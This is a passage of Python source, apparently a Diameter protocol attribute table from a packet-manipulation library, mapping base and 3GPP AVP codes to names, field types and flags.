AVPNV_Unsigned32, 64),\n        63: ('Login-LAT-Port', AVPNV_OctetString, 64),\n        64: ('Tunnel-Type', AVP_0_64, 64),\n        65: ('Tunnel-Medium-Type', AVP_0_65, 64),\n        66: ('Tunnel-Client-Endpoint', AVPNV_StrLenField, 64),\n        67: ('Tunnel-Server-Endpoint', AVPNV_StrLenField, 64),\n        68: ('Acct-Tunnel-Connection', AVPNV_OctetString, 64),\n        69: ('Tunnel-Password', AVPNV_OctetString, 64),\n        70: ('ARAP-Password', AVPNV_OctetString, 64),\n        71: ('ARAP-Features', AVPNV_OctetString, 64),\n        72: ('ARAP-Zone-Access', AVP_0_72, 64),\n        73: ('ARAP-Security', AVPNV_Unsigned32, 64),\n        74: ('ARAP-Security-Data', AVPNV_OctetString, 64),\n        75: ('Password-Retry', AVPNV_Unsigned32, 64),\n        76: ('Prompt', AVP_0_76, 64),\n        77: ('Connect-Info', AVPNV_StrLenField, 64),\n        78: ('Configuration-Token', AVPNV_OctetString, 64),\n        81: ('Tunnel-Private-Group-Id', AVPNV_OctetString, 64),\n        82: ('Tunnel-Assignment-Id', AVPNV_OctetString, 64),\n        83: ('Tunnel-Preference', AVPNV_Unsigned32, 64),\n        84: ('ARAP-Challenge-Response', AVPNV_OctetString, 64),\n        85: ('Acct-Interim-Interval', AVPNV_Unsigned32, 64),\n        86: ('Acct-Tunnel-Packets-Lost', AVPNV_Unsigned32, 64),\n        87: ('NAS-Port-Id', AVPNV_StrLenField, 64),\n        88: ('Framed-Pool', AVPNV_OctetString, 64),\n        89: ('Chargeable-User-Identity', AVPNV_OctetString, 64),\n        90: ('Tunnel-Client-Auth-Id', AVPNV_StrLenField, 64),\n        91: ('Tunnel-Server-Auth-Id', AVPNV_StrLenField, 64),\n        94: ('Originating-Line-Info', AVPNV_OctetString, 64),\n        96: ('Framed-Interface-Id', AVPNV_Unsigned64, 64),\n        97: ('Framed-IPv6-Prefix', AVPNV_OctetString, 64),\n        99: ('Framed-IPv6-Route', AVPNV_StrLenField, 64),\n        100: ('Framed-IPv6-Pool', AVPNV_OctetString, 64),\n        102: ('EAP-Key-Name', AVPNV_OctetString, 64),\n        104: ('Digest-Realm', AVPNV_StrLenField, 64),\n        110: ('Digest-Qop', AVPNV_StrLenField, 64),\n        111: ('Digest-Algorithm', AVPNV_StrLenField, 64),\n        121: ('Digest-HA1', AVPNV_OctetString, 64),\n        124: ('MIP6-Feature-Vector', AVPNV_Unsigned64, 64),\n        125: ('MIP6-Home-Link-Prefix', AVPNV_OctetString, 64),\n        257: ('Host-IP-Address', AVPNV_Address, 64),\n        258: ('Auth-Application-Id', AVP_0_258, 64),\n        259: ('Acct-Application-Id', AVPNV_Unsigned32, 64),\n        260: ('Vendor-Specific-Application-Id', AVPNV_Grouped, 64),\n        261: ('Redirect-Host-Usage', AVP_0_261, 64),\n        262: ('Redirect-Max-Cache-Time', AVPNV_Unsigned32, 64),\n        263: ('Session-Id', AVPNV_StrLenField, 64),\n        264: ('Origin-Host', AVPNV_StrLenField, 64),\n        265: ('Supported-Vendor-Id', AVPNV_Unsigned32, 64),\n        266: ('Vendor-Id', AVP_0_266, 64),\n        267: ('Firmware-Revision', AVPNV_Unsigned32, 0),\n        268: ('Result-Code', AVP_0_268, 64),\n        269: ('Product-Name', AVPNV_StrLenField, 0),\n        270: ('Session-Binding', AVPNV_Unsigned32, 64),\n        271: ('Session-Server-Failover', AVP_0_271, 64),\n        272: ('Multi-Round-Time-Out', AVPNV_Unsigned32, 64),\n        273: ('Disconnect-Cause', AVP_0_273, 64),\n        274: ('Auth-Request-Type', AVP_0_274, 64),\n        276: ('Auth-Grace-Period', AVPNV_Unsigned32, 64),\n        277: ('Auth-Session-State', AVP_0_277, 64),\n        278: ('Origin-State-Id', AVPNV_Unsigned32, 64),\n        279: ('Failed-AVP', AVPNV_Grouped, 64),\n        280: ('Proxy-Host', AVPNV_StrLenField, 64),\n        281: ('Error-Message', AVPNV_StrLenField, 0),\n        282: ('Route-Record', AVPNV_StrLenField, 64),\n        283: ('Destination-Realm', AVPNV_StrLenField, 64),\n        284: ('Proxy-Info', AVPNV_Grouped, 64),\n        285: ('Re-Auth-Request-Type', AVP_0_285, 64),\n        287: ('Accounting-Sub-Session-Id', AVPNV_Unsigned64, 64),\n        291: ('Authorization-Lifetime', AVPNV_Unsigned32, 64),\n        292: ('Redirect-Host', AVPNV_StrLenField, 64),\n        293: ('Destination-Host', AVPNV_StrLenField, 64),\n        294: ('Error-Reporting-Host', AVPNV_StrLenField, 0),\n        295: ('Termination-Cause', AVP_0_295, 64),\n        296: ('Origin-Realm', AVPNV_StrLenField, 64),\n        297: ('Experimental-Result', AVPNV_Grouped, 64),\n        298: ('Experimental-Result-Code', AVP_0_298, 64),\n        299: ('Inband-Security-Id', AVPNV_Unsigned32, 64),\n        318: ('MIP-FA-to-HA-SPI', AVPNV_Unsigned32, 64),\n        319: ('MIP-FA-to-MN-SPI', AVPNV_Unsigned32, 64),\n        320: ('MIP-Reg-Request', AVPNV_OctetString, 64),\n        321: ('MIP-Reg-Reply', AVPNV_OctetString, 64),\n        322: ('MIP-MN-AAA-Auth', AVPNV_Grouped, 64),\n        323: ('MIP-HA-to-FA-SPI', AVPNV_Unsigned32, 64),\n        325: ('MIP-MN-to-FA-MSA', AVPNV_Grouped, 64),\n        326: ('MIP-FA-to-MN-MSA', AVPNV_Grouped, 64),\n        328: ('MIP-FA-to-HA-MSA', AVPNV_Grouped, 64),\n        329: ('MIP-HA-to-FA-MSA', AVPNV_Grouped, 64),\n        331: ('MIP-MN-to-HA-MSA', AVPNV_Grouped, 64),\n        332: ('MIP-HA-to-MN-MSA', AVPNV_Grouped, 64),\n        333: ('MIP-Mobile-Node-Address', AVPNV_Address, 64),\n        334: ('MIP-Home-Agent-Address', AVPNV_Address, 64),\n        335: ('MIP-Nonce', AVPNV_OctetString, 64),\n        336: ('MIP-Candidate-Home-Agent-Host', AVPNV_StrLenField, 64),\n        337: ('MIP-Feature-Vector', AVPNV_Unsigned32, 64),\n        338: ('MIP-Auth-Input-Data-Length', AVPNV_Unsigned32, 64),\n        339: ('MIP-Authenticator-Length', AVPNV_Unsigned32, 64),\n        340: ('MIP-Authenticator-Offset', AVPNV_Unsigned32, 64),\n        341: ('MIP-MN-AAA-SPI', AVPNV_Unsigned32, 64),\n        342: ('MIP-Filter-Rule', AVPNV_IPFilterRule, 64),\n        343: ('MIP-Session-Key', AVPNV_OctetString, 64),\n        344: ('MIP-FA-Challenge', AVPNV_OctetString, 64),\n        345: ('MIP-Algorithm-Type', AVP_0_345, 64),\n        346: ('MIP-Replay-Mode', AVP_0_346, 64),\n        347: ('MIP-Originating-Foreign-AAA', AVPNV_Grouped, 64),\n        348: ('MIP-Home-Agent-Host', AVPNV_StrLenField, 64),\n        363: ('Accounting-Input-Octets', AVPNV_Unsigned64, 64),\n        364: ('Accounting-Output-Octets', AVPNV_Unsigned64, 64),\n        365: ('Accounting-Input-Packets', AVPNV_Unsigned64, 64),\n        366: ('Accounting-Output-Packets', AVPNV_Unsigned64, 64),\n        367: ('MIP-MSA-Lifetime', AVPNV_Unsigned32, 64),\n        368: ('SIP-Accounting-Information', AVPNV_Grouped, 64),\n        369: ('SIP-Accounting-Server-URI', AVPNV_StrLenField, 64),\n        370: ('SIP-Credit-Control-Server-URI', AVPNV_StrLenField, 64),\n        371: ('SIP-Server-URI', AVPNV_StrLenField, 64),\n        372: ('SIP-Server-Capabilities', AVPNV_Grouped, 64),\n        373: ('SIP-Mandatory-Capability', AVPNV_Unsigned32, 64),\n        374: ('SIP-Optional-Capability', AVPNV_Unsigned32, 64),\n        375: ('SIP-Server-Assignment-Type', AVP_0_375, 64),\n        376: ('SIP-Auth-Data-Item', AVPNV_Grouped, 64),\n        377: ('SIP-Authentication-Scheme', AVP_0_377, 64),\n        378: ('SIP-Item-Number', AVPNV_Unsigned32, 64),\n        379: ('SIP-Authenticate', AVPNV_Grouped, 64),\n        380: ('SIP-Authorization', AVPNV_Grouped, 64),\n        381: ('SIP-Authentication-Info', AVPNV_Grouped, 64),\n        382: ('SIP-Number-Auth-Items', AVPNV_Unsigned32, 64),\n        383: ('SIP-Deregistration-Reason', AVPNV_Grouped, 64),\n        384: ('SIP-Reason-Code', AVP_0_384, 64),\n        385: ('SIP-Reason-Info', AVPNV_StrLenField, 64),\n        386: ('SIP-Visited-Network-Id', AVPNV_StrLenField, 64),\n        387: ('SIP-User-Authorization-Type', AVP_0_387, 64),\n        388: ('SIP-Supported-User-Data-Type', AVPNV_StrLenField, 64),\n        389: ('SIP-User-Data', AVPNV_Grouped, 64),\n        390: ('SIP-User-Data-Type', AVPNV_StrLenField, 64),\n        391: ('SIP-User-Data-Contents', AVPNV_OctetString, 64),\n        392: ('SIP-User-Data-Already-Available', AVP_0_392, 64),\n        393: ('SIP-Method', AVPNV_StrLenField, 64),\n        400: ('NAS-Filter-Rule', AVPNV_IPFilterRule, 64),\n        401: ('Tunneling', AVPNV_Grouped, 64),\n        402: ('CHAP-Auth', AVPNV_Grouped, 64),\n        403: ('CHAP-Algorithm', AVP_0_403, 64),\n        404: ('CHAP-Ident', AVPNV_OctetString, 64),\n        405: ('CHAP-Response', AVPNV_OctetString, 64),\n        406: ('Accounting-Auth-Method', AVP_0_406, 64),\n        407: ('QoS-Filter-Rule', AVPNV_QoSFilterRule, 64),\n        411: ('CC-Correlation-Id', AVPNV_OctetString, 0),\n        412: ('CC-Input-Octets', AVPNV_Unsigned64, 64),\n        413: ('CC-Money', AVPNV_Grouped, 64),\n        414: ('CC-Output-Octets', AVPNV_Unsigned64, 64),\n        415: ('CC-Request-Number', AVPNV_Unsigned32, 64),\n        416: ('CC-Request-Type', AVP_0_416, 64),\n        417: ('CC-Service-Specific-Units', AVPNV_Unsigned64, 64),\n        418: ('CC-Session-Failover', AVP_0_418, 64),\n        419: ('CC-Sub-Session-Id', AVPNV_Unsigned64, 64),\n        420: ('CC-Time', AVPNV_Unsigned32, 64),\n        421: ('CC-Total-Octets', AVPNV_Unsigned64, 64),\n        422: ('Check-Balance-Result', AVP_0_422, 64),\n        423: ('Cost-Information', AVPNV_Grouped, 64),\n        424: ('Cost-Unit', AVPNV_StrLenField, 64),\n        425: ('Currency-Code', AVPNV_Unsigned32, 64),\n        426: ('Credit-Control', AVP_0_426, 64),\n        427: ('Credit-Control-Failure-Handling', AVP_0_427, 64),\n        428: ('Direct-Debiting-Failure-Handling', AVP_0_428, 64),\n        429: ('Exponent', AVPNV_Integer32, 64),\n        430: ('Final-Unit-Indication', AVPNV_Grouped, 64),\n        431: ('Granted-Service-Unit', AVPNV_Grouped, 64),\n        432: ('Rating-Group', AVPNV_Unsigned32, 64),\n        433: ('Redirect-Address-Type', AVP_0_433, 64),\n        434: ('Redirect-Server', AVPNV_Grouped, 64),\n        435: ('Redirect-Server-Address', AVPNV_StrLenField, 64),\n        436: ('Requested-Action', AVP_0_436, 64),\n        437: ('Requested-Service-Unit', AVPNV_Grouped, 64),\n        438: ('Restriction-Filter-Rule', AVPNV_IPFilterRule, 64),\n        439: ('Service-Identifier', AVPNV_Unsigned32, 64),\n        440: ('Service-Parameter-Info', AVPNV_Grouped, 0),\n        441: ('Service-Parameter-Type', AVPNV_Unsigned32, 0),\n        442: ('Service-Parameter-Value', AVPNV_OctetString, 0),\n        443: ('Subscription-Id', AVPNV_Grouped, 64),\n        444: ('Subscription-Id-Data', AVPNV_StrLenField, 64),\n        445: ('Unit-Value', AVPNV_Grouped, 64),\n        446: ('Used-Service-Unit', AVPNV_Grouped, 64),\n        447: ('Value-Digits', AVPNV_Integer64, 64),\n        448: ('Validity-Time', AVPNV_Unsigned32, 64),\n        449: ('Final-Unit-Action', AVP_0_449, 64),\n        450: ('Subscription-Id-Type', AVP_0_450, 64),\n        451: ('Tariff-Time-Change', AVPNV_Time, 64),\n        452: ('Tariff-Change-Usage', AVP_0_452, 64),\n        453: ('G-S-U-Pool-Identifier', AVPNV_Unsigned32, 64),\n        454: ('CC-Unit-Type', AVP_0_454, 64),\n        455: ('Multiple-Services-Indicator', AVP_0_455, 64),\n        456: ('Multiple-Services-Credit-Control', AVPNV_Grouped, 64),\n        457: ('G-S-U-Pool-Reference', AVPNV_Grouped, 64),\n        458: ('User-Equipment-Info', AVPNV_Grouped, 0),\n        459: ('User-Equipment-Info-Type', AVP_0_459, 0),\n        460: ('User-Equipment-Info-Value', AVPNV_OctetString, 0),\n        461: ('Service-Context-Id', AVPNV_StrLenField, 64),\n        462: ('EAP-Payload', AVPNV_OctetString, 64),\n        463: ('EAP-Reissued-Payload', AVPNV_OctetString, 64),\n        464: ('EAP-Master-Session-Key', AVPNV_OctetString, 64),\n        465: ('Accounting-EAP-Auth-Method', AVPNV_Unsigned64, 64),\n        480: ('Accounting-Record-Type', AVP_0_480, 64),\n        483: ('Accounting-Realtime-Required', AVP_0_483, 64),\n        485: ('Accounting-Record-Number', AVPNV_Unsigned32, 64),\n        486: ('MIP6-Agent-Info', AVPNV_Grouped, 64),\n        487: ('MIP-Careof-Address', AVPNV_Address, 64),\n        488: ('MIP-Authenticator', AVPNV_OctetString, 64),\n        489: ('MIP-MAC-Mobility-Data', AVPNV_OctetString, 64),\n        490: ('MIP-Timestamp', AVPNV_OctetString, 64),\n        491: ('MIP-MN-HA-SPI', AVPNV_Unsigned32, 64),\n        492: ('MIP-MN-HA-MSA', AVPNV_Grouped, 64),\n        493: ('Service-Selection', AVPNV_StrLenField, 64),\n        494: ('MIP6-Auth-Mode', AVP_0_494, 64),\n        506: ('Mobile-Node-Identifier', AVPNV_StrLenField, 64),\n        508: ('QoS-Resources', AVPNV_Grouped, 64),\n        509: ('Filter-Rule', AVPNV_Grouped, 64),\n        510: ('Filter-Rule-Precedence', AVPNV_Unsigned32, 64),\n        511: ('Classifier', AVPNV_Grouped, 64),\n        512: ('Classifier-ID', AVPNV_OctetString, 64),\n        513: ('Protocol', AVP_0_513, 64),\n        514: ('Direction', AVP_0_514, 64),\n        515: ('From-Spec', AVPNV_Grouped, 64),\n        516: ('To-Spec', AVPNV_Grouped, 64),\n        517: ('Negated', AVP_0_517, 64),\n        518: ('IP-Address', AVPNV_Address, 64),\n        519: ('IP-Address-Range', AVPNV_Grouped, 64),\n        520: ('IP-Address-Start', AVPNV_Address, 64),\n        521: ('IP-Address-End', AVPNV_Address, 64),\n        522: ('IP-Address-Mask', AVPNV_Grouped, 64),\n        523: ('IP-Mask-Bit-Mask-Width', AVPNV_Unsigned32, 64),\n        524: ('MAC-Address', AVPNV_OctetString, 64),\n        525: ('MAC-Address-Mask', AVPNV_Grouped, 64),\n        526: ('MAC-Address-Mask-Pattern', AVPNV_OctetString, 64),\n        527: ('EUI64-Address', AVPNV_OctetString, 64),\n        528: ('EUI64-Address-Mask', AVPNV_Grouped, 64),\n        529: ('EUI64-Address-Mask-Pattern', AVPNV_OctetString, 64),\n        530: ('Port', AVPNV_Integer32, 64),\n        531: ('Port-Range', AVPNV_Grouped, 64),\n        532: ('Port-Start', AVPNV_Integer32, 64),\n        533: ('Port-End', AVPNV_Integer32, 64),\n        534: ('Use-Assigned-Address', AVP_0_534, 64),\n        535: ('Diffserv-Code-Point', AVP_0_535, 64),\n        536: ('Fragmentation-Flag', AVP_0_536, 64),\n        537: ('IP-Option', AVPNV_Grouped, 64),\n        538: ('IP-Option-Type', AVP_0_538, 64),\n        539: ('IP-Option-Value', AVPNV_OctetString, 64),\n        540: ('TCP-Option', AVPNV_Grouped, 64),\n        541: ('TCP-Option-Type', AVP_0_541, 64),\n        542: ('TCP-Option-Value', AVPNV_OctetString, 64),\n        543: ('TCP-Flags', AVPNV_Grouped, 64),\n        544: ('TCP-Flag-Type', AVPNV_Unsigned32, 64),\n        545: ('ICMP-Type', AVPNV_Grouped, 64),\n        546: ('ICMP-Type-Number', AVP_0_546, 64),\n        547: ('ICMP-Code', AVP_0_547, 64),\n        548: ('ETH-Option', AVPNV_Grouped, 64),\n        549: ('ETH-Proto-Type', AVPNV_Grouped, 64),\n        550: ('ETH-Ether-Type', AVPNV_OctetString, 64),\n        551: ('ETH-SAP', AVPNV_OctetString, 64),\n        552: ('VLAN-ID-Range', AVPNV_Grouped, 64),\n        553: ('S-VID-Start', AVPNV_Unsigned32, 64),\n        554: ('S-VID-End', AVPNV_Unsigned32, 64),\n        555: ('C-VID-Start', AVPNV_Unsigned32, 64),\n        556: ('C-VID-End', AVPNV_Unsigned32, 64),\n        557: ('User-Priority-Range', AVPNV_Grouped, 64),\n        558: ('Low-User-Priority', AVPNV_Unsigned32, 64),\n        559: ('High-User-Priority', AVPNV_Unsigned32, 64),\n        560: ('Time-Of-Day-Condition', AVPNV_Grouped, 64),\n        561: ('Time-Of-Day-Start', AVPNV_Unsigned32, 64),\n        562: ('Time-Of-Day-End', AVPNV_Unsigned32, 64),\n        563: ('Day-Of-Week-Mask', AVPNV_Unsigned32, 64),\n        564: ('Day-Of-Month-Mask', AVPNV_Unsigned32, 64),\n        565: ('Month-Of-Year-Mask', AVPNV_Unsigned32, 64),\n        566: ('Absolute-Start-Time', AVPNV_Time, 64),\n        567: ('Absolute-Start-Fractional-Seconds', AVPNV_Unsigned32, 64),\n        568: ('Absolute-End-Time', AVPNV_Time, 64),\n        569: ('Absolute-End-Fractional-Seconds', AVPNV_Unsigned32, 64),\n        570: ('Timezone-Flag', AVP_0_570, 64),\n        571: ('Timezone-Offset', AVPNV_Integer32, 64),\n        572: ('Treatment-Action', AVPNV_Grouped, 64),\n        573: ('QoS-Profile-Id', AVPNV_Unsigned32, 64),\n        574: ('QoS-Profile-Template', AVPNV_Grouped, 64),\n        575: ('QoS-Semantics', AVP_0_575, 64),\n        576: ('QoS-Parameters', AVPNV_Grouped, 64),\n        577: ('Excess-Treatment', AVPNV_Grouped, 64),\n        578: ('QoS-Capability', AVPNV_Grouped, 64),\n        618: ('ERP-RK-Request', AVPNV_Grouped, 64),\n        619: ('ERP-Realm', AVPNV_StrLenField, 64),\n    },\n    10415: {\n        13: ('3GPP-Charging-Characteristics', AVPV_StrLenField, 192),\n        318: ('3GPP-AAA-Server-Name', AVPV_StrLenField, 192),\n        500: ('Abort-Cause', AVP_10415_500, 192),\n        501: ('Access-Network-Charging-Address', AVPV_Address, 192),\n        502: ('Access-Network-Charging-Identifier', AVPV_Grouped, 192),\n        503: ('Access-Network-Charging-Identifier-Value', AVPV_OctetString, 192),  # noqa: E501\n        504: ('AF-Application-Identifier', AVPV_OctetString, 192),\n        505: ('AF-Charging-Identifier', AVPV_OctetString, 192),\n        506: ('Authorization-Token', AVPV_OctetString, 192),\n        507: ('Flow-Description', AVPV_IPFilterRule, 192),\n        508: ('Flow-Grouping', AVPV_Grouped, 192),\n        509: ('Flow-Number', AVPV_Unsigned32, 192),\n        510: ('Flows', AVPV_Grouped, 192),\n        511: ('Flow-Status', AVP_10415_511, 192),\n        512: ('Flow-Usage', AVP_10415_512, 192),\n        513: ('Specific-Action', AVP_10415_513, 192),\n        515: ('Max-Requested-Bandwidth-DL', AVPV_Unsigned32, 192),\n        516: ('Max-Requested-Bandwidth-UL', AVPV_Unsigned32, 192),\n        517: ('Media-Component-Description', AVPV_Grouped, 192),\n        518: ('Media-Component-Number', AVPV_Unsigned32, 192),\n        519: ('Media-Sub-Component', AVPV_Grouped, 192),\n        520: ('Media-Type', AVP_10415_520, 192),\n        521: ('RR-Bandwidth', AVPV_Unsigned32, 192),\n        522: ('RS-Bandwidth', AVPV_Unsigned32, 192),\n        523: ('SIP-Forking-Indication', AVP_10415_523, 192),\n        525: ('Service-URN', AVPV_OctetString, 192),\n        526: ('Acceptable-Service-Info', AVPV_Grouped, 192),\n        527: ('Service-Info-Status', AVP_10415_527, 192),\n        528: ('MPS-Identifier', AVPV_OctetString, 128),\n        529: ('AF-Signalling-Protocol', AVP_10415_529, 128),\n        531: ('Sponsor-Identity', AVPV_StrLenField, 128),\n        532: ('Application-Service-Provider-Identity', AVPV_StrLenField, 128),\n        533: ('Rx-Request-Type', AVP_10415_533, 128),\n        534: ('Min-Requested-Bandwidth-DL', AVPV_Unsigned32, 128),\n        535: ('Min-Requested-Bandwidth-UL', AVPV_Unsigned32, 128),\n        536: ('Required-Access-Info', AVP_10415_536, 128),\n        537: ('IP-Domain-Id', AVPV_OctetString, 128),\n        538: ('GCS-Identifier', AVPV_OctetString, 128),\n        539: ('Sharing-Key-DL', AVPV_Unsigned32, 128),\n        540: ('Sharing-Key-UL', AVPV_Unsigned32, 128),\n        541: ('Retry-Interval', AVPV_Unsigned32, 128),\n        600: ('Visited-Network-Identifier', AVPV_OctetString, 192),\n        601: ('Public-Identity', AVPV_StrLenField, 192),\n        602: ('Server-Name', AVPV_StrLenField, 192),\n        603: ('Server-Capabilities', AVPV_Grouped, 192),\n        604: ('Mandatory-Capability', AVPV_Unsigned32, 192),\n        605: ('Optional-Capability', AVPV_Unsigned32, 192),\n        606: ('User-Data', AVPV_OctetString, 192),\n        607: ('SIP-Number-Auth-Items', AVPV_Unsigned32, 192),\n        608: ('SIP-Authentication-Scheme', AVPV_StrLenField, 192),\n        609: ('SIP-Authenticate', AVPV_OctetString, 192),\n        610: ('SIP-Authorization', AVPV_OctetString, 192),\n        611: ('SIP-Authentication-Context', AVPV_OctetString, 192),\n        612: ('SIP-Auth-Data-Item', AVPV_Grouped, 192),\n        613: ('SIP-Item-Number', AVPV_Unsigned32, 192),\n        614: ('Server-Assignment-Type', AVP_10415_614, 192),\n        615: ('Deregistration-Reason', AVPV_Grouped, 192),\n        616: ('Reason-Code', AVP_10415_616, 192),\n        617: ('Reason-Info', AVPV_StrLenField, 192),\n        618: ('Charging-Information', AVPV_Grouped, 192),\n        619: ('Primary-Event-Charging-Function-Name', AVPV_StrLenField, 192),\n        620: ('Secondary-Event-Charging-Function-Name', AVPV_StrLenField, 192),\n        621: ('Primary-Charging-Collection-Function-Name', AVPV_StrLenField, 192),  # noqa: E501\n        622: ('Secondary-Charging-Collection-Function-Name', AVPV_StrLenField, 192),  # noqa: E501\n        623: ('User-Authorization-Type', AVP_10415_623, 192),\n        624: ('User-Data-Already-Available', AVP_10415_624, 192),\n        625: ('Confidentiality-Key', AVPV_OctetString, 192),\n        626: ('Integrity-Key', AVPV_OctetString, 192),\n        628: ('Supported-Features', AVPV_Grouped, 128),\n        629: ('Feature-List-ID', AVPV_Unsigned32, 128),\n        630: ('Feature-List', AVP_10415_630, 128),\n        631: ('Supported-Applications', AVPV_Grouped, 128),\n        632: ('Associated-Identities', AVPV_Grouped, 128),\n        633: ('Originating-Request', AVP_10415_633, 192),\n        634: ('Wildcarded-Public-Identity', AVPV_StrLenField, 128),\n        635: ('SIP-Digest-Authenticate', AVPV_Grouped, 128),\n        636: ('Wildcarded-IMPU', AVPV_StrLenField, 128),\n        637: ('UAR-Flags', AVPV_Unsigned32, 128),\n        638: ('Loose-Route-Indication', AVP_10415_638, 128),\n        639: ('SCSCF-Restoration-Info', AVPV_Grouped, 128),\n        640: ('Path', AVPV_OctetString, 128),\n        641: ('Contact', AVPV_OctetString, 128),\n        642: ('Subscription-Info', AVPV_Grouped, 128),\n        643: ('Call-ID-SIP-Header', AVPV_OctetString, 128),\n        644: ('From-SIP-Header', AVPV_OctetString, 128),\n        645: ('To-SIP-Header', AVPV_OctetString, 128),\n        646: ('Record-Route', AVPV_OctetString, 128),\n        647: ('Associated-Registered-Identities', AVPV_Grouped, 128),\n        648: ('Multiple-Registration-Indication', AVP_10415_648, 128),\n        649: ('Restoration-Info', AVPV_Grouped, 128),\n        650: ('Session-Priority', AVP_10415_650, 128),\n        651: ('Identity-with-Emergency-Registration', AVPV_Grouped, 128),\n        652: ('Priviledged-Sender-Indication', AVP_10415_652, 128),\n        653: ('LIA-Flags', AVPV_Unsigned32, 128),\n        654: ('Initial-CSeq-Sequence-Number', AVPV_Unsigned32, 128),\n        655: ('SAR-Flags', AVPV_Unsigned32, 128),\n        700: ('User-Identity', AVPV_Grouped, 192),\n        701: ('MSISDN', AVP_10415_701, 192),\n        702: ('User-Data', AVPV_OctetString, 192),\n        703: ('Data-Reference', AVP_10415_703, 192),\n        704: ('Service-Indication', AVPV_OctetString, 192),\n        705: ('Subs-Req-Type', AVP_10415_705, 192),\n        706: ('Requested-Domain', AVP_10415_706, 192),\n        707: ('Current-Location', AVP_10415_707, 192),\n        708: ('Identity-Set', AVP_10415_708, 128),\n        709: ('Expiry-Time', AVPV_Time, 128),\n        710: ('Send-Data-Indication', AVP_10415_710, 128),\n        711: ('DSAI-Tag', AVPV_OctetString, 192),\n        712: ('One-Time-Notification', AVP_10415_712, 128),\n        713: ('Requested-Nodes', AVPV_Unsigned32, 128),\n        714: ('Serving-Node-Indication', AVP_10415_714, 128),\n        715: ('Repository-Data-ID', AVPV_Grouped, 128),\n        716: ('Sequence-Number', AVPV_Unsigned32, 128),\n        717: ('Pre-paging-Supported', AVP_10415_717, 128),\n        718: ('Local-Time-Zone-Indication', AVP_10415_718, 128),\n        719: ('UDR-Flags', AVPV_Unsigned32, 128),\n        720: ('Call-Reference-Info', AVPV_Grouped, 128),\n        721: ('Call-Reference-Number', AVPV_OctetString, 128),\n        722: ('AS-Number', AVPV_OctetString, 128),\n        823: ('Event-Type', AVPV_Grouped, 192),\n        824: ('SIP-Method', AVPV_StrLenField, 192),\n        825: ('Event', AVPV_StrLenField, 192),\n        826: ('Content-Type', AVPV_StrLenField, 192),\n        827: ('Content-Length', AVPV_Unsigned32, 192),\n        828: ('Content-Disposition', AVPV_StrLenField, 192),\n        829: ('Role-Of-Node', AVP_10415_829, 192),\n        830: ('Session-Id', AVPV_StrLenField, 192),\n        831: ('Calling-Party-Address', AVPV_StrLenField, 192),\n        832: ('Called-Party-Address', AVPV_StrLenField, 192),\n        833: ('Time-Stamps', AVPV_Grouped, 192),\n        834: ('SIP-Request-Timestamp', AVPV_Time, 192),\n        835: ('SIP-Response-Timestamp', AVPV_Time, 192),\n        836: ('Application-Server', AVPV_StrLenField, 192),\n        837: ('Application-provided-called-party-address', AVPV_StrLenField, 192),  # noqa: E501\n        838: ('Inter-Operator-Identifier', AVPV_Grouped, 192),\n        839: ('Originating-IOI', AVPV_StrLenField, 192),\n        840: ('Terminating-IOI', AVPV_StrLenField, 192),\n        841: ('IMS-Charging-Identifier', AVPV_StrLenField, 192),\n        842: ('SDP-Session-Description', AVPV_StrLenField, 192),\n        843: ('SDP-Media-Component', AVPV_Grouped, 192),\n        844: ('SDP-Media-Name', AVPV_StrLenField, 192),\n        845: ('SDP-Media-Description', AVPV_StrLenField, 192),\n        846: ('CG-Address', AVPV_Address, 192),\n        847: ('GGSN-Address', AVPV_Address, 192),\n        848: ('Served-Party-IP-Address', AVPV_Address, 192),\n        849: ('Authorised-QoS', AVPV_StrLenField, 192),\n        850: ('Application-Server-Information', AVPV_Grouped, 192),\n        851: ('Trunk-Group-Id', AVPV_Grouped, 192),\n        852: ('Incoming-Trunk-Group-Id', AVPV_StrLenField, 192),\n        853: ('Outgoing-Trunk-Group-Id', AVPV_StrLenField, 192),\n        854: ('Bearer-Service', AVPV_OctetString, 192),\n        855: ('Service-Id', AVPV_StrLenField, 192),\n        856: ('Associated-URI', AVPV_StrLenField, 192),\n        857: ('Charged-Party', AVPV_StrLenField, 192),\n        858: ('PoC-Controlling-Address', AVPV_StrLenField, 192),\n        859: ('PoC-Group-Name', AVPV_StrLenField, 192),\n        861: ('Cause-Code', AVPV_Integer32, 192),\n        862: ('Node-Functionality', AVP_10415_862, 192),\n        864: ('Originator', AVP_10415_864, 192),\n        865: ('PS-Furnish-Charging-Information', AVPV_Grouped, 192),\n        866: ('PS-Free-Format-Data', AVPV_OctetString, 192),\n        867: ('PS-Append-Free-Format-Data', AVP_10415_867, 192),\n        868: ('Time-Quota-Threshold', AVPV_Unsigned32, 192),\n        869: ('Volume-Quota-Threshold', AVPV_Unsigned32, 192),\n        870: ('Trigger-Type', AVP_10415_870, 192),\n        871: ('Quota-Holding-Time', AVPV_Unsigned32, 192),\n        872: ('Reporting-Reason', AVP_10415_872, 192),\n        873: ('Service-Information', AVPV_Grouped, 192),\n        874: ('PS-Information', AVPV_Grouped, 192),\n        876: ('IMS-Information', AVPV_Grouped, 192),\n        877: ('MMS-Information', AVPV_Grouped, 192),\n        878: ('LCS-Information', AVPV_Grouped, 192),\n        879: ('PoC-Information', AVPV_Grouped, 192),\n        880: ('MBMS-Information', AVPV_Grouped, 192),\n        881: ('Quota-Consumption-Time', AVPV_Unsigned32, 192),\n        882: ('Media-Initiator-Flag', AVP_10415_882, 192),\n        883: ('PoC-Server-Role', AVP_10415_883, 192),\n        884: ('PoC-Session-Type', AVP_10415_884, 192),\n        885: ('Number-Of-Participants', AVPV_Unsigned32, 192),\n        887: ('Participants-Involved', AVPV_StrLenField, 192),\n        888: ('Expires', AVPV_Unsigned32, 192),\n        889: ('Message-Body', AVPV_Grouped, 192),\n        897: ('Address-Data', AVPV_StrLenField, 192),\n        898: ('Address-Domain', AVPV_Grouped, 192),\n        899: ('Address-Type', AVP_10415_899, 192),\n        900: ('TMGI', AVPV_OctetString, 192),\n        901: ('Required-MBMS-Bearer-Capabilities', AVPV_StrLenField, 192),\n        902: ('MBMS-StartStop-Indication', AVP_10415_902, 192),\n        903: ('MBMS-Service-Area', AVPV_OctetString, 192),\n        904: ('MBMS-Session-Duration', AVPV_OctetString, 192),\n        905: ('Alternative-APN', AVPV_StrLenField, 192),\n        906: ('MBMS-Service-Type', AVP_10415_906, 192),\n        907: ('MBMS-2G-3G-Indicator', AVP_10415_907, 192),\n        909: ('RAI', AVPV_StrLenField, 192),\n        910: ('Additional-MBMS-Trace-Info', AVPV_OctetString, 192),\n        911: 